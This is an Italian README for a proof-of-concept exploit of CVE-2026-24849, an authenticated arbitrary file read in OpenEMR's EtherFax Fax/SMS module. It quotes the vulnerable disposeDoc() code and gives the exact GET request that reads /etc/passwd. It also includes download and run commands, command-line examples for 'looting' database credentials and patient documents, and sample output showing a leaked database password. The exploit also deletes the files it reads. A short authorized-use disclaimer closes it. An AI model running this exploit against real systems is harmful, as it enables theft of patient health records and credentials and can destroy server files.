
Exploit proof-of-concept per CVE-2026-24849, un path traversal autenticato / lettura arbitraria di file nel modulo Fax/SMS (EtherFax) di OpenEMR. Qualsiasi utente autenticato indipendentemente dal livello di privilegi può leggere file arbitrari dal filesystem del server come utente del web server (credenziali del database, documenti dei pazienti/PHI, /etc/passwd, …)
disposeDoc)Proof-of-concept exploit per CVE-2026-24849, una lettura arbitraria di file / path-traversal autenticata nel modulo Fax/SMS (EtherFax) di OpenEMR. Qualsiasi utente autenticato indipendentemente dal livello di privilegio può leggere file arbitrari dal filesystem del server come utente web-server (credenziali del database, documenti dei pazienti/PHI, /etc/passwd, …).
| CVE | CVE-2026-24849 |
| Vulnerabilità | Path Traversal / Lettura Arbitraria di File (CWE-22) |
| Componente | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| Versioni interessate | OpenEMR < 7.0.4 |
| Corretto in | OpenEMR 7.0.4 |
| Autenticazione | Richiesto qualsiasi utente, nessun privilegio necessario |
| Gravità | NVD 6.5 (Medio) / GitHub CNA 9.9 (Critico) |
| Testato su | OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4 |
Il metodo disposeDoc() del modulo Fax/SMS accetta un parametro di richiesta file_path fornito dal chiamante, conferma che il file esista e lo passa direttamente a readfile() con nessuna canonicalizzazione del percorso, nessuna allow-list e nessun controllo di autorizzazione oltre al possesso di una sessione valida:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated
if (file_exists($where)) {
...
readfile($where); // arbitrary file read as the web-server user
unlink($where); // ⚠ deletes the file after reading (see warning below)
exit;
}
die('Problem with download. Use browser back button');
}
L'handler viene raggiunto tramite il dispatcher del modulo con un percorso assoluto in file_path (nessuna traversione ../ necessaria):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
Un account a bassi privilegi (o predefinito) diventa una primitiva completa di lettura file lato server:
sites/default/sqlconf.phpsites/<site>/documents/, anche quando quella directory è Deny from all nel .htaccess (la lettura avviene su disco, bypassando Apache)/etc/passwd, sorgenti dell'applicazione, chiavi/token leggibili dall'utente web⚠️ Comportamento distruttivo
disposeDoc()chiamaunlink($where)dopo aver letto il file. Leggere un file che l'utente web-server può eliminare lo rimuoverà. Punta a file di proprietà di root (es./etc/passwd,sqlconf.phpnella maggior parte delle installazioni): la directory padre non è scrivibile dall'utente web, quindiunlink()fallisce e il file sopravvive. Sii consapevole di ciò a cui punti.
admin:pass).requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
Eseguito senza argomenti chiederà tutto ciò di cui ha bisogno:
python3 CVE-2026-24849.py
Oppure guidalo in modalità non interattiva con i flag:
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
Se -f viene omesso, lo strumento entra in un loop di lettura interattivo così puoi scaricare più file da una singola sessione.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests, mantenendo la sessione in un proprio cookie jar (evita la rotazione dell'ID di sessione del browser che rende stantii i cookie copiati).disposeDoc, provando automaticamente sia disposeDoc che disposeDocument (il nome del metodo varia tra le versioni minori interessate)..htaccess come unico controllo.Questo strumento è fornito solo per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta a testare. L'autore non si assume alcuna responsabilità per un uso improprio o per qualsiasi danno causato da questo software. Nota il comportamento distruttivo di unlink() descritto sopra.
doany1
MIT vedi LICENSE.
| Flag | Descrizione | Predefinito |
|---|
-t, --target | URL di base, es. http://10.10.10.10 | richiesto |
-u, --user | Nome utente OpenEMR | admin |
-P, --password | Password OpenEMR | richiesto (nascosto) |
-s, --site | ID sito OpenEMR | default |
-f, --file | Percorso assoluto del file remoto da leggere | loop interattivo se omesso |
-o, --output | Salva il file recuperato localmente invece di stamparlo |